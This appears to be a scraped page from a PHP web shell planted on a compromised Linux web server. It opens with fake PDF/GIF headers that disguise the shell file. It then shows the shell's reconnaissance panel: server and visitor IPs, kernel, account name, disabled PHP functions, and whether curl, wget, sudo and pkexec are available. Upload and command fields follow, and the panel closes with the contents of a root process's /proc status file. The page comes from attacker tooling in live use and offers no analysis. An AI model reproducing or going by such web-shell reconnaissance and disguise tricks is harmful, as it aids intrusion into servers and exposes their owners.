%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.230
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1621/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/1621/status
Name:	tailwatchd
Umask:	0022
State:	S (sleeping)
Tgid:	1621
Ngid:	0
Pid:	1621
PPid:	1
TracerPid:	0
Uid:	0	0	0	0
Gid:	0	0	0	0
FDSize:	128
Groups:	 
NStgid:	1621
NSpid:	1621
NSpgid:	1621
NSsid:	1621
VmPeak:	  134756 kB
VmSize:	  134576 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	   27732 kB
VmRSS:	   26472 kB
RssAnon:	   21804 kB
RssFile:	    4668 kB
RssShmem:	       0 kB
VmData:	   22916 kB
VmStk:	     132 kB
VmExe:	     212 kB
VmLib:	   17240 kB
VmPTE:	     296 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	1
SigQ:	1/18446744073709551615
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000000013080
SigCgt:	0000000180004201
CapInh:	0000000000000000
CapPrm:	000001ffffffffff
CapEff:	000001ffffffffff
CapBnd:	000001ffffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	f
Cpus_allowed_list:	0-3
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	24551790
nonvoluntary_ctxt_switches:	52194

Anon7 - 2022
SCDN GOK